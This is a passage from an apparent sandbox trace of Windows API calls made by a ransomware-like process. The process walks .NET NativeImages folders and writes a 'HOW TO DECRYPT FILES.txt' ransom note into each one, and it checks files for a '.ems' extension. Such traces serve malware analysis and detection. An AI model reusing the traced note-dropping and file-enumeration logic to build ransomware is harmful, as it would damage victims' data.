lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\BDATunePIA\\13385391832b7c36af9306baeb570e57\\", lpString2="BDATunePIA.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\BDATunePIA\\13385391832b7c36af9306baeb570e57\\BDATunePIA.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\BDATunePIA\\13385391832b7c36af9306baeb570e57\\BDATunePIA.ni.dll" [0107.213] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\BDATunePIA\\13385391832b7c36af9306baeb570e57\\BDATunePIA.ni.dll", pszSpec="*.ems") returned 0 [0107.213] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x30333000, ftCreationTime.dwHighDateTime=0x1cb8b27, ftLastAccessTime.dwLowDateTime=0x30333000, ftLastAccessTime.dwHighDateTime=0x1cb8b27, ftLastWriteTime.dwLowDateTime=0x88f9b2a4, ftLastWriteTime.dwHighDateTime=0x1cb8939, nFileSizeHigh=0x0, nFileSizeLow=0xed200, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="BDATunePIA.ni.dll", cAlternateFileName="BDATUN~1.DLL")) returned 0 [0107.213] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0107.213] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5df091c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x5df091c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x5df091c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="13385391832b7c36af9306baeb570e57", cAlternateFileName="133853~1")) returned 0 [0107.214] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0107.214] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc349298b, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xc349298b, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xc349298b, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x440042, dwReserved1=0x540041, cFileName="ComSvcConfig", cAlternateFileName="COMSVC~1")) returned 1 [0107.214] lstrcmpA (lpString1=".", lpString2="ComSvcConfig") returned -1 [0107.214] lstrcmpA (lpString1="..", lpString2="ComSvcConfig") returned -1 [0107.214] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\*.*") returned="*.*" [0107.214] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\", lpString2="ComSvcConfig" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ComSvcConfig") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ComSvcConfig" [0107.214] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ComSvcConfig\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc349298b, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xc349298b, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xc349298b, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0107.214] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0107.214] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc349298b, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xc349298b, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xc349298b, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0107.214] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0107.214] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0107.214] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc349298b, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xc349298b, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xc349298b, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="d632b7434f821829827657e23ac98589", cAlternateFileName="D632B7~1")) returned 1 [0107.215] lstrcmpA (lpString1=".", lpString2="d632b7434f821829827657e23ac98589") returned -1 [0107.215] lstrcmpA (lpString1="..", lpString2="d632b7434f821829827657e23ac98589") returned -1 [0107.215] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ComSvcConfig\\*.*") returned="*.*" [0107.215] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ComSvcConfig\\", lpString2="d632b7434f821829827657e23ac98589" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ComSvcConfig\\d632b7434f821829827657e23ac98589") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ComSvcConfig\\d632b7434f821829827657e23ac98589" [0107.215] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ComSvcConfig\\d632b7434f821829827657e23ac98589\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc349298b, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xc349298b, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xc349298b, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0107.217] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0107.217] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc349298b, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xc349298b, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xc349298b, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0107.217] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0107.217] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0107.217] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc342056a, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xc342056a, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xc34466ca, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x9c400, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="ComSvcConfig.ni.exe", cAlternateFileName="COMSVC~1.EXE")) returned 1 [0107.217] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0107.218] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="ComSvcConfig.ni.exe") returned 1 [0107.218] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="ComSvcConfig.ni.exe") returned 1 [0107.218] lstrcmpiA (lpString1="", lpString2="ComSvcConfig.ni.exe") returned -1 [0107.218] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ComSvcConfig\\d632b7434f821829827657e23ac98589\\*.*") returned="*.*" [0107.218] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ComSvcConfig\\d632b7434f821829827657e23ac98589\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ComSvcConfig\\d632b7434f821829827657e23ac98589\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ComSvcConfig\\d632b7434f821829827657e23ac98589\\" [0107.218] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ComSvcConfig\\d632b7434f821829827657e23ac98589\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ComSvcConfig\\d632b7434f821829827657e23ac98589\\") returned="" [0107.218] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ComSvcConfig\\d632b7434f821829827657e23ac98589\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ComSvcConfig\\d632b7434f821829827657e23ac98589\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ComSvcConfig\\d632b7434f821829827657e23ac98589\\HOW TO DECRYPT FILES.txt" [0107.218] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ComSvcConfig\\d632b7434f821829827657e23ac98589\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\comsvcconfig\\d632b7434f821829827657e23ac98589\\how to decrypt files.txt")) returned 0xffffffff [0107.218] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ComSvcConfig\\d632b7434f821829827657e23ac98589\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\comsvcconfig\\d632b7434f821829827657e23ac98589\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0107.221] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0107.221] CloseHandle (hObject=0x90) returned 1 [0107.221] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ComSvcConfig\\d632b7434f821829827657e23ac98589\\", lpString2="ComSvcConfig.ni.exe" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ComSvcConfig\\d632b7434f821829827657e23ac98589\\ComSvcConfig.ni.exe") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ComSvcConfig\\d632b7434f821829827657e23ac98589\\ComSvcConfig.ni.exe" [0107.221] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ComSvcConfig\\d632b7434f821829827657e23ac98589\\ComSvcConfig.ni.exe", pszSpec="*.ems") returned 0 [0107.221] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc342056a, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xc342056a, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xc34466ca, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x9c400, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="ComSvcConfig.ni.exe", cAlternateFileName="COMSVC~1.EXE")) returned 0 [0107.221] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0107.222] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc349298b, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xc349298b, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xc349298b, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="d632b7434f821829827657e23ac98589", cAlternateFileName="D632B7~1")) returned 0 [0107.222] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0107.222] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe30ee793, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xe30ee793, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xe30ee793, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6f0043, dwReserved1=0x53006d, cFileName="CustomMarshalers", cAlternateFileName="CUSTOM~1")) returned 1 [0107.222] lstrcmpA (lpString1=".", lpString2="CustomMarshalers") returned -1 [0107.222] lstrcmpA (lpString1="..", lpString2="CustomMarshalers") returned -1 [0107.222] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\*.*") returned="*.*" [0107.222] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\", lpString2="CustomMarshalers" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\CustomMarshalers") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\CustomMarshalers" [0107.222] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\CustomMarshalers\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe30ee793, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xe30ee793, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xe30ee793, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0107.223] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0107.223] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe30ee793, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xe30ee793, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xe30ee793, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0107.223] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0107.223] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0107.223] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe30ee793, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xe30ee793, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xe30ee793, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="e41fccd68a6543f2528f6f6118f5f7e2", cAlternateFileName="E41FCC~1")) returned 1 [0107.223] lstrcmpA (lpString1=".", lpString2="e41fccd68a6543f2528f6f6118f5f7e2") returned -1 [0107.223] lstrcmpA (lpString1="..", lpString2="e41fccd68a6543f2528f6f6118f5f7e2") returned -1 [0107.223] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\CustomMarshalers\\*.*") returned="*.*" [0107.223] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\CustomMarshalers\\", lpString2="e41fccd68a6543f2528f6f6118f5f7e2" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\CustomMarshalers\\e41fccd68a6543f2528f6f6118f5f7e2") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\CustomMarshalers\\e41fccd68a6543f2528f6f6118f5f7e2" [0107.223] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\CustomMarshalers\\e41fccd68a6543f2528f6f6118f5f7e2\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe30ee793, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xe30ee793, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xe30ee793, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0107.223] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0107.224] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe30ee793, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xe30ee793, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xe30ee793, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0107.224] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0107.224] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0107.224] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe30a24d2, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xe30a24d2, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xe30a24d2, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x55200, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="CustomMarshalers.ni.dll", cAlternateFileName="CUSTOM~1.DLL")) returned 1 [0107.224] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0107.224] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="CustomMarshalers.ni.dll") returned 1 [0107.224] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="CustomMarshalers.ni.dll") returned 1 [0107.224] lstrcmpiA (lpString1="", lpString2="CustomMarshalers.ni.dll") returned -1 [0107.224] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\CustomMarshalers\\e41fccd68a6543f2528f6f6118f5f7e2\\*.*") returned="*.*" [0107.224] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\CustomMarshalers\\e41fccd68a6543f2528f6f6118f5f7e2\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\CustomMarshalers\\e41fccd68a6543f2528f6f6118f5f7e2\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\CustomMarshalers\\e41fccd68a6543f2528f6f6118f5f7e2\\" [0107.224] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\CustomMarshalers\\e41fccd68a6543f2528f6f6118f5f7e2\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\CustomMarshalers\\e41fccd68a6543f2528f6f6118f5f7e2\\") returned="" [0107.224] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\CustomMarshalers\\e41fccd68a6543f2528f6f6118f5f7e2\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\CustomMarshalers\\e41fccd68a6543f2528f6f6118f5f7e2\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\CustomMarshalers\\e41fccd68a6543f2528f6f6118f5f7e2\\HOW TO DECRYPT FILES.txt" [0107.224] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\CustomMarshalers\\e41fccd68a6543f2528f6f6118f5f7e2\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\custommarshalers\\e41fccd68a6543f2528f6f6118f5f7e2\\how to decrypt files.txt")) returned 0xffffffff [0107.224] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\CustomMarshalers\\e41fccd68a6543f2528f6f6118f5f7e2\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\custommarshalers\\e41fccd68a6543f2528f6f6118f5f7e2\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0107.227] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0107.227] CloseHandle (hObject=0x90) returned 1 [0107.228] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\CustomMarshalers\\e41fccd68a6543f2528f6f6118f5f7e2\\", lpString2="CustomMarshalers.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\CustomMarshalers\\e41fccd68a6543f2528f6f6118f5f7e2\\CustomMarshalers.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\CustomMarshalers\\e41fccd68a6543f2528f6f6118f5f7e2\\CustomMarshalers.ni.dll" [0107.228] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\CustomMarshalers\\e41fccd68a6543f2528f6f6118f5f7e2\\CustomMarshalers.ni.dll", pszSpec="*.ems") returned 0 [0107.228] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe30a24d2, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xe30a24d2, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xe30a24d2, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x55200, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="CustomMarshalers.ni.dll", cAlternateFileName="CUSTOM~1.DLL")) returned 0 [0107.228] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0107.228] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe30ee793, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xe30ee793, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xe30ee793, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="e41fccd68a6543f2528f6f6118f5f7e2", cAlternateFileName="E41FCC~1")) returned 0 [0107.228] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0107.228] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe321f295, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xe321f295, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xe321f295, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x750043, dwReserved1=0x740073, cFileName="dfsvc", cAlternateFileName="")) returned 1 [0107.228] lstrcmpA (lpString1=".", lpString2="dfsvc") returned -1 [0107.228] lstrcmpA (lpString1="..", lpString2="dfsvc") returned -1 [0107.228] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\*.*") returned="*.*" [0107.229] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\", lpString2="dfsvc" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\dfsvc") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\dfsvc" [0107.229] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\dfsvc\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe321f295, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xe321f295, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xe321f295, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0107.229] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0107.229] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe321f295, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xe321f295, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xe321f295, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0107.229] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0107.229] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0107.229] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe321f295, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xe321f295, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xe321f295, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="9bc0d921859b039d6e9f642148333949", cAlternateFileName="9BC0D9~1")) returned 1 [0107.229] lstrcmpA (lpString1=".", lpString2="9bc0d921859b039d6e9f642148333949") returned -1 [0107.230] lstrcmpA (lpString1="..", lpString2="9bc0d921859b039d6e9f642148333949") returned -1 [0107.230] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\dfsvc\\*.*") returned="*.*" [0107.230] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\dfsvc\\", 